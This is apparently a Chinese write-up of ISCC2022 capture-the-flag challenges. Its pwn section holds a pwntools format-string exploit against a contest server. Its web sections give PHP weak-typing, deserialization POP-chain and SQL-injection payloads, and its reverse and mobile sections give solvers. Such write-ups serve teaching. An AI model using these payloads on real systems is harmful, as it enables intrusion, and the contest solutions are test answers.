MISC/REVERSE/MOBILE 答题须知
- 系统会为选手随机分配flag,请各位选手务必下载自己账号对应的题目附件。
- 提交其他选手的flag将被视为作弊行为。
WEB/PWN 答题须知
- 主办方将于每天中午12:00-12:30对部分题目进行维护并变更flag,届时会影响题目环境,请各位选手避免在该时间段内解题。
- 题目维护期间,选手提交变更前的flag视为解题正确。
- 题目维护后正式启用新flag,若提交变更前的flag则视为解题错误。
目录
MISC/REVERSE/MOBILE 答题须知
WEB/PWN 答题须知
练武题
Misc
单板小将苏翊鸣
降维打击
藏在星空中的诗
藏在星空中的诗-2
隐秘的信息
套中套
真相只有一个
2022冬奥会
Pwn
create_id
Web
冬奥会
爱国敬业好青年-2
Pop2022
Easy-SQL
Reverse
Amy's Code
How_decode
Sad Code
GetTheTable
Mobile
MobileA
练武题
Misc
单板小将苏翊鸣
题目描述:在此次冬季奥运会项目中,17岁的单板小将苏翊鸣在单板项目中获得一金一银的优异成绩,打破了多年来中国队的历史最好成绩,为中国队此次冬奥之行锦上添花。
题目附件:
做题流程:
属于是签到题了
1.改高度
2.扫码,编码转换(注意要可以支持中文的)
3.回答问题得解压密码,打开就有flag
降维打击
题目描述:降维打击 flag格式:ISCC{xxxx-xxxx-xxxx}
题目附件:
做题流程:
zsteg提取图片,魔女密码表对照(注意是大写,坑点)挺没意思的一个题,对照表在这:《魔女之旅》文字破解·印刷体 - 哔哩哔哩 (bilibili.com)
藏在星空中的诗
题目描述:漫天的繁星也许是一首美丽的诗!(建议使用winRAR)
题目附件:
做题流程:
看看psd文件,注意图层一透明度,很小。改大后有五角星暗示(明示)顺序。根据图片给的顺序对poem排序(尽量用win10),压缩包密码就是这五个的排序,直接排没有空格。解出来的是星星符号的对照表,对应出来按12345排就是flag。
藏在星空中的诗-2
题目描述:漫天的繁星也许是另一首美丽的诗!
题目附件:
做题流程:
s="\🌟🌠🌠✴🟉\🌟🌠🌠★⍣\🌟🌠🌠✴⍣\🌟🌠🌠✴⍣\🌟🌠🌠✧≛\🌟🌠🌠☆✲\🌟🌠🌠⍣✲\🌟🌠🌠⍣🟉\🌟🌠🌠✲✡\🌟🌠🌠☆✡\🌟🌠🌠⍣✡\🌟🌠🌠✲✸\🌟🌠🌠⍣★\🌟🌠🌠✲✸\🌟🌠🌠✴☪\🌟🌠🌠★✸\🌟🌠🌠✴★\🌟🌠🌠✧🌠\🌟🌠🌠⍣★\🌟🌠🌠✧⚝"
for i in s:
if(i!='\\'):
e=str(hex(ord(i)))
x=e[len(e)-1:]
if(x=='f'):
x='u'
print(x,end="")
else:
print("\\",end="")
由上一个藏在星空中的诗-1得到的表,前面的字母表替换成u+那一列最后的字符,解码unicode。
隐秘的信息
题目描述:乐乐在开始做作业时,遇到了一串ZWFzeV90b19maW5kX3RoZV9mbGFn字符串,研究了一番,什么都没有发现。乐乐能找到隐秘的信息并完成作业吗?
题目附件:
做题流程:
题目描述压缩包密码,stegslove,LSB,获得十六进制数据,转为2进制,删掉前面的1,让0当首字节,二进制转为文本,获得flag。
套中套
题目描述:亲爱的CTFer走到一个巨大的盒子前,上面写满了0和1,却也看不出个所以然。仔细看了半夜,才在字缝中看出来,整个盒子都写着“套中套”……
题目附件:
做题流程:
和描述一点关系没有,获取png检查完整性,检验crc值,IHDR的crc值报错,说明高宽不符,爆破crc获得正确高度,stegslove查看图片(直接修改有残缺),获得flag1;png结尾获得flag2,合在一起获得压缩包密码,观察源码,百度,是背包密码(背包加密 - CTF Wiki (ctf-wiki.org)),使用工具https://sagecell.sagemath.org/运行(如果解密时出现了非偶数警告,建议在hex串后面添加位)。获得flag。
真相只有一个
题目描述:misc是英文miscellaneous的前四个字母,表示有杂项、混合体、大杂烩的意思,题目思路广,模式不定,线索众多,在这些线索中有的有用有的没用,最终的真相只有一个。
题目附件:
做题流程:
看flag.txt,是snow隐写;根据图片得到部分压缩包密码,直接掩码爆破,解压得到流量包,导出TFTP对象,提出来mp3,尾部有摩斯电码,摩斯解密出来用于snow解密。
2022冬奥会
题目描述:2022冬奥会在北京举办,身为东道主的你知道此次冬奥会的吉祥物分别是谁吗?并且你知道这两只冬奥会的吉祥物最初设计的原型分别是什么吗?我只能提示你其中有一只的原型是我们的国宝哦。
题目附件:
做题流程:
修改图片高度,utf-b解码,获得压缩包解压密码,获得flag
Pwn
create_id
题目描述:题目入口:123.57.69.203:5310
题目附件:
做题流程
from pwn import *
from struct import pack
# p=process('./attachment-31')
p=remote('123.57.69.203',5310)
faddr=int(p.recvline(),16)
print('faddr=>',hex(faddr))
payload=p32(faddr)+b'aaaaa'+b'%10$n'
p.sendlineafter('it.\n',b'1')
p.sendlineafter('incorrect\n',b'1')
p.sendlineafter('incorrect\n',b'1')
p.sendlineafter('name?\n',payload)
p.interactive()
Pwn,就只会这个,直接上脚本就能出flag。
Web
冬奥会
题目描述:你来参加2022届冬奥会,想知道冬奥会的主办方想告诉你什么吗?
题目入口:
题目附件:
<?php
show_source(__FILE__);
$Step1=False;
$Step2=False;
$info=(array)json_decode(@$_GET['Information']);
if(is_array($info)){
var_dump($info);
is_numeric(@$info["year"])?die("Sorry~"):NULL;
if(@$info["year"]){
($info["year"]=2022)?$Step1=True:NULL;
}
if(is_array(@$info["items"])){
if(!is_array($info["items"][1])OR count($info["items"])!==3 ) die("Sorry~");
$status = array_search("skiing", $info["items"]);
$status===false?die("Sorry~"):NULL;
foreach($info["items"] as $key=>$val){
$val==="skiing"?die("Sorry~"):NULL;
}
$Step2=True;
}
}
if($Step1 && $Step2){
include "2022flag.php";echo $flag;
}
?>
看到源码,代码审计:
"year":"2022abc"绕过$info["year"]=2022)
"items":[]绕过is_array(@$info["items"])
"items":["a",["b"],"c"] 绕过 !is_array($info["items"][1])OR count($info["items"])!==3
0绕过array_search("skiing", $info["items"]),用到了PHP弱类型的一个特性,当一个整形和一个其他类型行比较的时候,会先把其他类型intval再比较。
最后构建payload:
?Information={"year":"2022abc","items":[0,["a"],"c"]}
爱国敬业好青年-2
题目描述:
这位爱国敬业好青年在哪呢?
题目入口:
题目附件:
做题流程:
/change查看状态,然后访问/flag,post传参天安门的坐标:lati=116°23′E&langti=39°54′N,获得flag。
Pop2022
题目描述:大家好,我是pip美,我的朋友pop子出现了一些问题,你们能帮我找到pop子出了什么问题吗?
题目入口:
题目附件:
做题流程:
<?php
echo 'Happy New Year~ MAKE A WISH<br>';
if(isset($_GET['wish'])){
@unserialize($_GET['wish']);
}
else{
$a=new Road_is_Long;
highlight_file(__FILE__);
}
/***************************pop your 2022*****************************/
class Road_is_Long{
public $page;
public $string;
public function __construct($file='index.php'){
$this->page = $file;
}
public function __toString(){
return $this->string->page;
}
public function __wakeup(){
if(preg_match("/file|ftp|http|https|gopher|dict|\.\./i", $this->page)) {
echo "You can Not Enter 2022";
$this->page = "index.php";
}
}
}
class Try_Work_Hard{
protected $var;
public function append($value){
include($value);
}
public function __invoke(){
$this->append($this->var);
}
}
class Make_a_Change{
public $effort;
public function __construct(){
$this->effort = array();
}
public function __get($key){
$function = $this->effort;
return $function();
}
}
查看源码,和buu的有道题一样,可以查看我的Buuctf中的web题类的writeup.
这题的利用点主要在append() ,需要注意的就是利用正则匹配类来触发toString,和Buu的一道题一模一样。
<?php
class Road_is_Long{
public $page;
public $string;
}
class Make_a_Change{
public $effort;
}
class Try_Work_Hard{
public $var;
}
$a = new Road_is_Long();
$a->page = new Road_is_Long();
$a->page->string = new Make_a_Change();
$a->page->string->effort = new Try_Work_Hard();
$a->page->string->effort->var = "php://filter/read=convert.base64-encode/resource=flag.php";
echo serialize($a);
运行PHP获得获得payload:
?O:12:"Road_is_Long":2:{s:4:"page";O:12:"Road_is_Long":2:{s:4:"page";N;s:6:"string";O:13:"Make_a_Change":1:{s:6:"effort";O:13:"Try_Work_Hard":1:{s:3:"var";s:57:"php://filter/read=convert.base64-encode/resource=flag.php";}}}s:6:"string";N;}
获取flag。
Easy-SQL
题目描述:Beaxia的邮箱地址忘记了,你能帮忙找找吗?题目入口:59.110.159.206:7010
题目附件:
做题流程:
这道题一开始我也很自然地去用盲注爆破数据库(惯性思维),但爆emails的时候卡在了YPHEMPARDERE! 当时没啥思路,就回去总结了一下。在这过程中,我发现既然value row(1,2,3)能回显,那table肯定也是可以的。
那么这道题的思路就清晰了。利用table 表名,我们可以爆出对应的数据,而题目index.php的源码就藏在email表的一个用户的邮箱地址中。
放一部份获取到的源码。
if (isset($_POST['username']) && isset($_POST['passwd']))
{
$username = strval($_POST['username']);
$passwd = strval($_POST['passwd']);
if ( !sqlWaf($passwd) )
die('damn hacker');
$sql = "SELECT * FROM users WHERE username='${username}' AND passwd= '${passwd}'";
$result = $conn->query($sql);
if ($result->num_rows > 0) {
$row = $result->fetch_assoc();
if ( $row['username'] === 'admin' && $row['passwd'] )
{
if ($row['passwd'] == $passwd)
{
die($flag);
} else {
die("username or passwd wrong, are you admin?");
}
} else {
die("wrong user");
}
} else {
die("user not exist or wrong passwd");
}
}
解压后可以发现除了变量id,用户还可以上传username和passwd,获得flag的条件就是查询语句返回结果大于一行且username==="admin" && passwd = $passwd
很明显users表中是没有admin这个用户的,因此可以尝试利用联合查询构造一个虚拟表,来构造出admin。
Reverse
Amy's Code
题目描述:代码好像有点眼熟?
题目附件:
做题流程:
Buu原题魔改
- PE32无壳
2.、ida查看main
// attributes: thunk
int __cdecl main(int argc, const char **argv, const char **envp)
{
return main_0(argc, argv, envp);
}
3、进入main_0
int __cdecl main_0(int argc, const char **argv, const char **envp)
{
char Destination[520]; // [esp+DCh] [ebp-410h] BYREF
char Source[516]; // [esp+2E4h] [ebp-208h] BYREF
j__printf(aPleaseInputFla);
sub_221717((va_list)"%s", (char)Source);//输入flag
j__strcpy(Destination, Source);
sub_2215FF(Destination);//flag^i
if ( sub_221433(Destination) )//
j__printf("Correct!\n");
else
j__printf("Wrong!\n");
j__system("pause");
return 0;
}
4、进入sub_221433()
Prolog
int __cdecl sub_222550(char *Str)
{
int j; // [esp+D0h] [ebp-14Ch]
int i; // [esp+DCh] [ebp-140h]
int v4[32]; // [esp+E8h] [ebp-134h] BYREF
int v5; // [esp+168h] [ebp-B4h]
_WORD v6[12]; // [esp+174h] [ebp-A8h] BYREF
int v7; // [esp+18Ch] [ebp-90h]
__int16 v8; // [esp+190h] [ebp-8Ch]
int v9[31]; // [esp+19Ch] [ebp-80h] BYREF
v9[0] = 0x95;
v9[1] = 0xA9;
v9[2] = 0x89;
v9[3] = 0x86;
v9[4] = 0xD4;
v9[5] = 0xBC;
v9[6] = 0xB1;
v9[7] = 0xB8;
v9[8] = 0xB1;
v9[9] = 0xC5;
v9[10] = 0xC0;
v9[11] = 0xB3;
v9[12] = 0x99;
v9[13] = 0xAE;
v9[14] = 0xA2;
v9[15] = 0x92;
v9[16] = 0xA8;
v9[17] = 0xC3;
v9[18] = 0xBC;
v9[19] = 0xB8;
memset(&v9[20], 0, 40);
strcpy((char *)v6, "LWHFUENGDJGEFHYDHIGJ");
HIBYTE(v6[10]) = 0;
v6[11] = 0;
v7 = 0;
v8 = 0;
v5 = j__strlen(Str);
j__memset(v4, 0, 0x78u);
for ( i = 0; i < v5; ++i )
v4[i] = *((char *)v6 + i) + Str[i];//v4=v6+flag
for ( j = 0; j < v5; ++j )
{
if ( v4[j] != v9[j] )//v4是否与v9相等,flag.lenght=20
return 0;
}
return 1;
}
5、
简单异或,流程:
a.输入一串str
b.str与i逐位异或,结果返回str
c. str与已有v6相加,结果存于v4
b.v4与v9比较,返回bool值
exp
#include <stdio.h>
#include <stdlib.h>
int main()
{
char flag[50];
int i;
int data[30]={0x95,0xA9,0x89,0x86,0xD4,0xBC,0xB1,0xB8,0xB1,0xC5,0xC0,0xB3,0x99,0xAE,0xA2,0x92,0xA8,0xC3,0xBC,0xB8};
char str[30]="LWHFUENGDJGEFHYDHIGJ";
for ( i = 0; i < 20; ++i ){
flag[i]=data[i]-str[i];
}
for ( i = 0; i < 20; ++i ){
flag[i]^=i;
}
for ( i = 0; i < 20; ++i ){
printf("%c",flag[i]);
}
return 0;
}
How_decode
题目描述:只要你输入的是正确答案,程序就会告诉你,你是对的,加油
题目附件:
做题流程:
1.PE64无壳
2.拖入IDA,查看main
int __cdecl main(int argc, const char **argv, const char **envp)
{
void *v3; // rsp
int v2[32]; // [rsp+20h] [rbp-60h] BYREF
int k[4]; // [rsp+A0h] [rbp+20h] BYREF
char v[32]; // [rsp+B0h] [rbp+30h] BYREF
int n; // [rsp+DCh] [rbp+5Ch]
int (*p_v1)[]; // [rsp+E0h] [rbp+60h]
__int64 v10; // [rsp+E8h] [rbp+68h]
int n1; // [rsp+F4h] [rbp+74h]
int i; // [rsp+F8h] [rbp+78h]
int i_0; // [rsp+FCh] [rbp+7Ch]
_main(argc, argv, envp);
n1 = 18;
v10 = 17i64;
v3 = alloca(80i64);
p_v1 = (int (*)[])v2;
v2[0] = 0x3AE30F72;
v2[1] = 0x7F8A82A2;
v2[2] = 0x69A2617;
v2[3] = 0x872A1A64;
v2[4] = 0x23FFA5B;
v2[5] = 0x5FE4C1B7;
v2[6] = 0x76F3840B;
v2[7] = 0xBFAE0460;
v2[8] = 0xFF295AED;
v2[9] = 0x5B924B37;
v2[10] = 0x77AAFAC5;
v2[11] = 0x3CA2199C;
v2[12] = 0x3367EBFD;
v2[13] = 0xB3F3EDE0;
v2[14] = 0x932C4A95;
v2[15] = 0xCC9EB294;
v2[16] = 0xECCAC6EF;
v2[17] = 0xE5B3364E;
k[0] = 73;
k[1] = 83;
k[2] = 67;
k[3] = 67;
scanf("%s", v);
n = strlen(v);
if ( n == n1 )
{
for ( i = 0; i < n; ++i )
v2[i] = v[i];
encode(v2, n, k);
for ( i_0 = 0; i_0 < n; ++i_0 )
{
if ( *((_DWORD *)p_v1 + i_0) != v2[i_0] )
goto LABEL_2;
}
printf("Your input is the right answer!");
system("pause");
return 0;
}
else
{
LABEL_2:
printf("Wrong answer!");
system("pause");
return 0;
}
}
可知v2、n、key值已给出
进入encode函数
void __cdecl encode(int *v, int n, const int *key)
{
int *v4; // rax
int *v5; // rax
int y; // [rsp+8h] [rbp-18h]
int e; // [rsp+Ch] [rbp-14h]
int rounds; // [rsp+10h] [rbp-10h]
int p; // [rsp+14h] [rbp-Ch]
int sum; // [rsp+18h] [rbp-8h]
int z; // [rsp+1Ch] [rbp-4h]
rounds = 52 / n + 6;
sum = 0;
for ( z = v[n - 1]; rounds--; z = *v5 )
{
sum -= 0x61C88647;
e = (sum >> 2) & 3;
for ( p = 0; p < n - 1; ++p )
{
y = v[p + 1];
v4 = &v[p];
*v4 += ((y ^ sum) + (z ^ key[e ^ p & 3])) ^ (((4 * y) ^ (z >> 5)) + ((y >> 3) ^ (16 * z)));
z = *v4;
}
v5 = &v[n - 1];
*v5 += ((*v ^ sum) + (z ^ key[e ^ p & 3])) ^ (((4 * *v) ^ (z >> 5)) + ((*v >> 3) ^ (16 * z)));
}
}
发现常数 sum -= 0x61C88647,XXTEA加密
标准脚本跑出来乱码
动调对照发现 DELTA 值和部分汇编指令与标准XXTEA指令不一样,即标准加密结果与该题加密结果不一样
Sad Code
题目描述:就是喜欢做题,你喜欢做数学题吗?
题目附件:
做题流程:
1.PE32 无壳
2.拖入IDA,找到并进入main
int __cdecl main_0(int argc, const char **argv, const char **envp)
{
__int64 v4; // rax
int v5; // ecx
char Destination[60]; // [esp+D8h] [ebp-348h] BYREF
int k; // [esp+114h] [ebp-30Ch]
char v8; // [esp+120h] [ebp-300h]
char v9[49]; // [esp+121h] [ebp-2FFh] BYREF
size_t v10; // [esp+15Ch] [ebp-2C4h]
int j; // [esp+168h] [ebp-2B8h]
int i; // [esp+174h] [ebp-2ACh]
char v13[56]; // [esp+180h] [ebp-2A0h] BYREF
__int64 v14[10]; // [esp+1B8h] [ebp-268h] BYREF
int v15; // [esp+208h] [ebp-218h]
int v16; // [esp+20Ch] [ebp-214h]
char Str[516]; // [esp+218h] [ebp-208h] BYREF
v15 = 0;
v16 = 0;
memset(v14, 0, 72);
memset(v13, 0, 45);
j__printf(&byte_439F18);
Input((va_list)"%s", (char)Str);
if ( j__strlen(Str) != 32 ) // 输入Str长度为32
return 0;
for ( i = 0; i < 8; ++i )
{
for ( j = 0; j < 4; ++j )
v13[5 * i + j] = Str[4 * i + j]; // str值赋给v13
}
v10 = 0;
v8 = 0;
j__memset(v9, 0, sizeof(v9));
for ( k = 0; k < 8; ++k )
{
memset(Destination, 0, 50);
sub_4130CD((int)&v13[5 * k], Destination); // V13转换位16进制
v10 = j__strlen(Destination);
v4 = sub_413BDB(v10, Destination, v15, v16);// 16进制转换
v5 = k;
LODWORD(v14[k]) = v4; // 取v14低8位
HIDWORD(v14[v5]) = HIDWORD(v4); // 取v14高8位
}
if ( v14[2] + 7 * v14[1] - 4 * v14[0] - 2 * v14[3] == 0x1D8F3F483i64
&& 5 * v14[3] + 3 * v14[2] - v14[1] - 2 * v14[0] == 0x177B9B372i64
&& 2 * v14[1] + 8 * v14[3] + 10 * v14[0] - 5 * v14[2] == 0x50EF688F4i64
&& 7 * v14[0] + 15 * v14[1] - 3 * v14[3] - 2 * v14[2] == 0x7A9325A5Di64 )
{
if ( 15 * v14[4] + 35 * v14[7] - v14[5] - v14[6] == 0x10FE564E53i64
&& 38 * v14[6] + v14[4] + v14[7] - 24 * v14[5] == 0x377333D03i64
&& 38 * v14[5] + 32 * v14[4] - v14[6] - v14[7] == 0x167500828Di64
&& v14[4] + 41 * v14[6] - v14[5] - 25 * v14[7] == 0x252026157i64 )// v14值的判断
{
j__printf("Correct!\n");
}
else
{
j__printf("Keep trying!\n");
}
}
else
{
j__printf("Wrong!\n");
}
j__system("pause");
return 0;
}
3.可以利用pyton z3约束求解
Apache
from z3 import *
v14=[Int("v14%s"%i) for i in range(8)]
s=Solver()
s.add(v14[2] + 7 * v14[1] - 4 * v14[0] - 2 * v14[3] == 0x1D8F3F483)
s.add(5 * v14[3] + 3 * v14[2] - v14[1] - 2 * v14[0] == 0x177B9B372)
s.add(2 * v14[1] + 8 * v14[3] + 10 * v14[0] - 5 * v14[2] == 0x50EF688F4)
s.add(7 * v14[0] + 15 * v14[1] - 3 * v14[3] - 2 * v14[2] == 0x7A9325A5D)
s.add(15 * v14[4] + 35 * v14[7] - v14[5] - v14[6] == 0x10FE564E53)
s.add(38 * v14[6] + v14[4] + v14[7] - 24 * v14[5] == 0x377333D03)
s.add(38 * v14[5] + 32 * v14[4] - v14[6] - v14[7] == 0x167500828D)
s.add(v14[4] + 41 * v14[6] - v14[5] - 25 * v14[7] == 0x252026157)
v4=[]
if(s.check()==sat):
m=s.model()
for i in range(8):
v4.append(hex(int(str(m[v14[i]])))[2:])
print(v4)
for i in range(8):
for j in range(4):
print(chr(int(v4[i][j*2:j*2+2],16)),end="")
GetTheTable
题目描述:采用正确的解密软件就能快速解密
题目附件:
做题流程:
1.查壳 PE64无壳
2.IDA打开,无壳
3.找到并进入main
// local variable allocation has failed, the output may be wrong!
int __cdecl main(int argc, const char **argv, const char **envp)
{
char str12581[59]; // [rsp+20h] [rbp-60h] BYREF
char plainText[32]; // [rsp+60h] [rbp-20h] BYREF
char str[27]; // [rsp+80h] [rbp+0h] BYREF
int j; // [rsp+A0h] [rbp+20h]
int index; // [rsp+A4h] [rbp+24h]
char *encryption; // [rsp+A8h] [rbp+28h]
_BYTE len[12]; // [rsp+B4h] [rbp+34h] OVERLAPPED
int n; // [rsp+C4h] [rbp+44h]
int n1; // [rsp+C8h] [rbp+48h]
int j_1; // [rsp+CCh] [rbp+4Ch]
int j_0; // [rsp+D0h] [rbp+50h]
int carry; // [rsp+D4h] [rbp+54h]
int high; // [rsp+D8h] [rbp+58h]
int i; // [rsp+DCh] [rbp+5Ch]
_main(argc, argv, envp);
n1 = 18;
strcpy(str, "ERaQux2kCQGLeLwddrgMCKtL6x");
scanf("%s", plainText);
n = strlen(plainText);
if ( n <= 32 )
{
*(_QWORD *)&len[4] = 0i64;
*(_QWORD *)len = (unsigned int)(138 * strlen(plainText) / 0x64) + 1;
strcpy(str12581, "123456789ABCDEFGHJKLMNPQRSTUVWXYZabcdefghijkmnopqrstuvwxyz");
encryption = (char *)malloc(*(int *)len);
index = 0;
memset(encryption, 0, *(int *)len);
high = *(_DWORD *)len - 1;
j = 0;
i = 0;
while ( i < strlen(plainText) )
{
carry = plainText[i];
for ( j_0 = *(_DWORD *)len - 1; j_0 > high || carry; --j_0 )
{
carry += encryption[j_0] << 8;
encryption[j_0] = (char)carry % 58;
carry /= 58;
if ( !j_0 )
break;
}
++i;
high = j;
}
for ( i = 0; !encryption[i]; ++i )
;
j_1 = 0;
while ( *(int *)len > i )
{
if ( str[j_1] != str12581[encryption[i]] )
{
printf("Wrong answer!");
system("pause");
return 0;
}
++i;
++j_1;
}
printf("Your input is the right answer!");
system("pause");
return 0;
}
else
{
printf("Wrong answer!");
system("pause");
return 0;
}
}
看到字符串"ERaQux2kCQGLeLwddrgMCKtL6x"、"123456789ABCDEFGHJKLMNPQRSTUVWXYZabcdefghijkmnopqrstuvwxyz",鉴定为base58
在线网站:Base58在线编码解码-ME2在线工具 (metools.info)
Mobile
MobileA
题目描述:一道简单的Mobile类型的题目,你能成功闯关吗?
题目附件:
做题流程:
jadx反编译,定位com.example.mobilea.MainActivity.C0534C1.onClick()文章来源:https://www.toymoban.com/news/detail-703044.html
TypeScript
package com.example.mobilea;
import android.os.Bundle;
import android.util.Base64;
import android.view.View;
import android.view.View.OnClickListener;
import android.widget.Button;
import android.widget.EditText;
import android.widget.TextView;
import androidx.appcompat.app.AppCompatActivity;
import com.example.mobilea.encode.BASE64Encoder;
import java.nio.charset.StandardCharsets;
import java.security.MessageDigest;
import javax.crypto.Cipher;
import javax.crypto.spec.IvParameterSpec;
import javax.crypto.spec.SecretKeySpec;
public class MainActivity extends AppCompatActivity {
Button but_1;
EditText edt_1;
TextView tv_1;
/* renamed from: com.example.mobilea.MainActivity$C1 */
class C0534C1 implements OnClickListener {
C0534C1() {
}
public void onClick(View view) {
if (MainActivity.this.Jformat(MainActivity.this.edt_1.getText().toString())) {
MainActivity.this.tv_1.setText("闯关成功!!!");
} else {
MainActivity.this.tv_1.setText("输入错误,继续加油!");
}
}
}
/* access modifiers changed from: protected */
public void onCreate(Bundle bundle) {
super.onCreate(bundle);
setContentView((int) C0535R.layout.activity_main);
this.but_1 = (Button) findViewById(C0535R.C0538id.Push_Yes);
this.edt_1 = (EditText) findViewById(C0535R.C0538id.Flag_Edit);
this.tv_1 = (TextView) findViewById(C0535R.C0538id.Tip);
this.but_1.setOnClickListener(new C0534C1());
}
private boolean Jlast(String str) {
try {
MessageDigest instance = MessageDigest.getInstance("MD5");
new BASE64Encoder();
String encode = BASE64Encoder.encode(instance.digest(str.getBytes("utf-8")));
if (encode.length() != 24) {
return false;
}
char[] cArr = new char[encode.length()];
boolean z = false;
int i = 0;
for (int i2 = 5; i2 >= 0; i2--) {
if (!z) {
for (int i3 = 3; i3 >= 0; i3--) {
cArr[i] = encode.charAt((i3 * 6) + i2);
i++;
}
z = true;
} else {
for (int i4 = 0; i4 <= 3; i4++) {
cArr[i] = encode.charAt((i4 * 6) + i2);
i++;
}
z = false;
}
}
if (String.valueOf(cArr).equals("=Lr8ZoM=wQU3OtSxJNg6fR5N")) {
return true;
}
return false;
} catch (Exception e) {
e.printStackTrace();
return false;
}
}
/* access modifiers changed from: private */
public boolean Jformat(String str) {
String str2 = "";
String str3 = "\n";
int lastIndexOf = str.lastIndexOf("_");
if (lastIndexOf != -1 && str.length() >= 10 && str.substring(0, 5).equals("ISCC{") && str.charAt(str.length() - 1) == '}') {
int i = lastIndexOf + 1;
if (Jlast(str.substring(i, str.length() - 1))) {
try {
byte[] bytes = new String(Base64.encode("K@e2022%%y".getBytes(StandardCharsets.UTF_8), 0)).replace(str3, str2).getBytes(StandardCharsets.UTF_8);
byte[] bytes2 = new String(Base64.encode("I&V2022***".getBytes(StandardCharsets.UTF_8), 0)).replace(str3, str2).getBytes(StandardCharsets.UTF_8);
byte[] bytes3 = str.substring(5, i).getBytes(StandardCharsets.UTF_8);
SecretKeySpec secretKeySpec = new SecretKeySpec(bytes, "AES");
IvParameterSpec ivParameterSpec = new IvParameterSpec(bytes2);
Cipher instance = Cipher.getInstance("AES/CBC/PKCS7Padding");
instance.init(1, secretKeySpec, ivParameterSpec);
if (new String(Base64.encode(Base64.encodeToString(instance.doFinal(bytes3), 2).getBytes(StandardCharsets.UTF_8), 0)).replace(str3, str2).equals("STk0OU11bnZiWCtvZGtpSUswK3Q2aHZxd2x2bTlIYkRjTFV4OWhZdEowbz0=")) {
return true;
}
return false;
} catch (Exception e) {
e.printStackTrace();
}
}
}
return false;
}
}
细读代码,一个简单的aes,AES解密之后获得前半部分flag,后部分flag须在上面一段加密中获取,细读代码,看逻辑以及加密过程。文章来源地址https://www.toymoban.com/news/detail-703044.html
到了这里,关于ISCC2022--Writeup的文章就介绍完了。如果您还想了解更多内容,请在右上角搜索TOY模板网以前的文章或继续浏览下面的相关文章,希望大家以后多多支持TOY模板网!